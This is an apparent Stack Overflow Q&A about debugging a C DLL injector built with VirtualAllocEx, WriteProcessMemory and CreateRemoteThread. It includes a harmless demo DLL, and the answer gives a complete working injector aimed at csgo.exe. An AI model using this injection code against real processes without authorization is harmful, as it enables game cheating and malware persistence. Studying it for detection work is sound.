1

I have created a process DLL injector in C for detection engineering purposes, it seems to work great on test processes I spawn in a shell (maybe because they are in the same path, or something with non-shells and printf) but whenever I test it on a random process it crashes said process at the CreateRemoteThread step, wondering if any of you could help thanks.

Here is the command I use if that helps (Bash): ./ProcessInjector.exe [PID] C:\Users\wsam\Documents\Process-Injection\bad_dll.dll

EDIT: I noticed if I take out all code in the bad_dll.dll while loop it succeeds in creating a thread and doesn't crash the process, why is that?

ProcessInjector.c

#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>

int main(int argc, char* argv[]){
    char dllPath[MAX_PATH];
    strcpy(dllPath, argv[2]);

    printf("Victim PID      : %s\n", argv[1]);
    // use full or relative path
    printf("DLL to inject   : %s\n", argv[2]);

    // get Handle from proc id
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
    if (hProcess == NULL) {
        printf("[---] Failed to open process %s.\n", argv[1]);
        return 1;
    }

    printf("Press Enter to attempt DLL injection.");
    getchar();

    // Allocate memory for DLL's path
    LPVOID dllPathAlloc = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(dllPathAlloc == NULL){
        printf("[---] VirtualAllocEx unsuccessful.\n");
        getchar();
        return 1;
    }

    // Write path to memory
    BOOL pathWrote = WriteProcessMemory(hProcess, dllPathAlloc, dllPath, strlen(dllPath), NULL);
    if(!pathWrote){
        printf("[---] WriteProcessMemory unsuccessful.\n");
        getchar();
        return 1;
    }

    // returns pointer to LoadLibrary address, same in every process.
    LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if(loadLibraryAddress == NULL){
        printf("[---] LoadLibrary not found in process.\n");
        getchar();
        return 1;
    }

    // creates remote thread and start mal dll
    HANDLE remoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAlloc, 0, NULL);
    if(remoteThread == NULL){
        printf("[---] CreateRemoteThread unsuccessful.\n");
        getchar();
        return 1;
    }
    //Start-Address:kernel32.dll!LoadLibraryA

    CloseHandle(hProcess);
    return 0;
}

bad_dll.c

#include <windows.h>
#include <stdio.h>
#include <unistd.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
    FILE * fp;
    fp = fopen ("C:\\Users\\wsam\\Documents\\Hacked.txt","w");
    fprintf (fp, "Hacked\n");
    fclose (fp);

    while(1){
        printf("HACKED\n");
        fflush(stdout);
        sleep(1);
    }
}
marc_s
  • 732,580
  • 175
  • 1,330
  • 1,459
rooter
  • 99
  • 2
  • 8
  • I don't know if that's the (only) issue, but be aware that `strlen` does not include the terminating null character. – 500 - Internal Server Error May 28 '19 at 17:47
  • That's a pretty tight loop you have there. – 500 - Internal Server Error May 28 '19 at 18:32
  • I would bet on ABI incompatibility with the target process's implementation of the CRT. Did you try statically linking your DLL? – Dark Falcon May 28 '19 at 18:52
  • @DarkFalcon I believe you are right, currently I am compiling my DLL using two gcc commands `gcc -c -fPIC bad_dll.c` and `gcc -shared -o bad_dll.dll bad_dll.o` but if I take out -shared I get a compile time error, and adding -static doesn't work. I don't know how to statically link a dll, would you know the gcc option? – rooter May 29 '19 at 02:39
  • too add more context I am using cywgin to run the gcc commands, and when compiling using `-static` still crashes remote processes when injected – rooter May 29 '19 at 02:46

1 Answers1

2

Here is my very basic example of a dll injector using VirtualAllocEx, CreateRemoteThread & LoadLibrary:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

DWORD GetPid(char * targetProcess)
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap && snap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(pe);
        if (Process32First(snap, &pe))
        {
            do
            {
                if (!_stricmp(pe.szExeFile, targetProcess))
                {
                    CloseHandle(snap);
                    return pe.th32ProcessID;
                }
            } while (Process32Next(snap, &pe));
        }
    }
    return 0;
}

int main()
{
    char * dllpath = "C:\\Users\\me\\Desktop\\dll.dll";
    char * processToInject = "csgo.exe";
    long pid = 0;
    while (!pid)
    {
        pid = GetPid(processToInject);
        Sleep(10);
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    if (hProc && hProc != INVALID_HANDLE_VALUE)
    {
            void * loc = VirtualAllocEx(hProc, 0, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            WriteProcessMemory(hProc, loc, dllpath, strlen(dllpath) + 1, 0);        
            HANDLE hThread = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, loc, 0, 0);
            CloseHandle(hThread);
    }

    CloseHandle(hProc);
    return 0;
}

This code includes grabbing the null terminator of your path string:

strlen(dllpath) + 1

EDIT: I noticed if I take out all code in the bad_dll.dll while loop it succeeds in creating a thread and doesn't crash the process, why is that?

I believe your Infinite Loop in DllMain is the cause of your problem, it never returns. When you remove the code in the loop, your compiler is optimizing away the loop and therefore it stops crashing.

Everyone says never to call CreateThread() from DllMain but millions of people are doing it without any issues. The concern is in regards to loader deadlock but I've been injecting DLLs for 5 years and never had a single problem, that is my experience and the roots of my beliefs are born in experience. You should at least be aware of the possible issues by reading and following links in this question.

Disregarding all the CRT in DLLMain hate I suggest you do:

DWORD __stdcall hackthread(HMODULE hModule)
{
    FILE * fp;
    fp = fopen ("C:\\Users\\wsam\\Documents\\Hacked.txt","w");
    fprintf (fp, "Hacked\n");
    fclose (fp);

    while(1){
        printf("HACKED\n");
        fflush(stdout);
        sleep(1);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, PVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)hackthread, hModule, 0, nullptr);
        CloseHandle(hThread);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

In this manner, both CreateThread and DllMain return 99.9999% of the time.

This is a proof of concept based on my experience.

GuidedHacking
  • 3,628
  • 1
  • 9
  • 59